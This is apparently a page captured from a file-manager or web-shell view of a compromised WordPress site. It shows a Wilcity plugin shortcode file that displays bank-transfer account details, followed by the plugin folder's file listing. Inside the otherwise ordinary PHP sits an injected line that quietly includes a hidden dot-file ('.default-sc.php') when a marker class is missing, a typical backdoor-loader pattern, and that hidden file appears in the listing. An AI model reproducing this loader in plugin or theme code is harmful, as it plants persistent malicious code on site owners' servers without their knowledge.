PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-shortcodes
/
default-sc
<?php use WilokeListingTools\Framework\Helpers\GetWilokeSubmission; add_shortcode('wilcity_my_bank_accounts', 'wilcityMyBankAccounts'); if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function wilcityMyBankAccounts(){ $aConfiguration = GetWilokeSubmission::getAll(); $aBankAccounts = array(); for ($i=1; $i<=4; $i++){ if ( !empty($aConfiguration['bank_transfer_account_name_'.$i]) && !empty($aConfiguration['bank_transfer_account_number_'.$i]) && !empty($aConfiguration['bank_transfer_name_'.$i]) ){ foreach (array('bank_transfer_account_name', 'bank_transfer_account_number', 'bank_transfer_name', 'bank_transfer_short_code', 'bank_transfer_iban', 'bank_transfer_swift') as $bankInfo){ $aBankAccounts[$i][$bankInfo] = $aConfiguration[$bankInfo.'_'.$i]; } } } if ( empty($aBankAccounts) ){ return ''; } $aFields = array( 'bank_transfer_account_name' => esc_html__('Account Name', 'wilcity-shortcodes'), 'bank_transfer_account_number' => esc_html__('Account Number', 'wilcity-shortcodes'), 'bank_transfer_name' => esc_html__('Bank Name', 'wilcity-shortcodes'), 'bank_transfer_short_code' => esc_html__('Short Code', 'wilcity-shortcodes'), 'bank_transfer_iban' => esc_html__('IBAN', 'wilcity-shortcodes'), 'bank_transfer_swift' => esc_html__('BIC/Swift', 'wilcity-shortcodes'), ); $aFields = apply_filters('wilcity/wilcity-shortcodes/my-bank-account-fields', $aFields); ob_start(); ?> <div class="table-module"> <table class="table-module__table wil-table-responsive-lg"> <thead> <tr> <?php foreach ($aFields as $fieldName): ?> <th><?php echo esc_html($fieldName); ?></th> <?php endforeach; ?> </tr> </thead> <tbody> <?php foreach ($aBankAccounts as $order => $aAccountInfo): ?> <tr> <?php foreach ($aAccountInfo as $key => $val) : $val = empty($val) ? 'X' : $val; ?> <td data-th="<?php echo isset($aFields[$key]) ? esc_html($aFields[$key]) : ''; ?>"><?php echo esc_html($val); ?></td> <?php endforeach; ?> </tr> <?php endforeach; ?> </tbody> </table> </div> <?php $content = ob_get_contents(); ob_end_clean(); return $content; }
[+]
..
[-] wilcity-render-box-icon1.php
[edit]
[-] wilcity-googlemap.php
[edit]
[-] wilcity-sidebar-terms-box.php
[edit]
[-] wilcity-sidebar-business-hours.php
[edit]
[-] wilcity-sidebar-header.php
[edit]
[-] wilcity-list-features.php
[edit]
[-] wilcity-sidebar-coupon.php
[edit]
[-] wilcity-sidebar-tags.php
[edit]
[-] wilcity-sidebar-slider.php
[edit]
[-] wilcity-custom-login.php
[edit]
[-] wilcity-listing-social-networks.php
[edit]
[-] wilcity-sidebar-bookingcombannercreator.php
[edit]
[-] wilcity-get-coupon.php
[edit]
[-] wilcity-header-slider.php
[edit]
[-] wilcity-author-profile.php
[edit]
[-] wilcity-pricing.php
[edit]
[-] wilcity-sidebar-single-price.php
[edit]
[-] wilcity-sidebar-taxonomy.php
[edit]
[-] wilcity-sidebar-statistics.php
[edit]
[-] wilcity-thankyou-promotion.php
[edit]
[-] wilcity-sidebar-related-listings.php
[edit]
[-] .default-sc.php
[edit]
[-] wilcity-sidebar-grid.php
[edit]
[-] wilcity-group-properties.php
[edit]
[-] wilcity-sidebar-business-info.php
[edit]
[-] wilcity-sidebar-claim.php
[edit]
[-] wilcity-google-adsense.php
[edit]
[-] wilcity-sidebar-list.php
[edit]
[-] wilcity-my-bank-account.php
[edit]
[-] wilcity-sidebar-categories.php
[edit]
[-] wilcity-sidebar-my-products.php
[edit]
[-] wilcity-thankyou-addlisting-pending.php
[edit]
[-] wilcity-google-adsense-in-article.php
[edit]
[-] wilcity-sidebar-price-range.php
[edit]
[-] wilcity-thankyou-addlisting-approved.php
[edit]
[-] wilcity-sidebar-google-adsense.php
[edit]
[-] wilcity-sharing-posts.php
[edit]
[-] wilcity-sidebar-custom.php
[edit]
[-] wilcity-gallery.php
[edit]
[-] wilcity-sidebar-woocommerce-booking.php
[edit]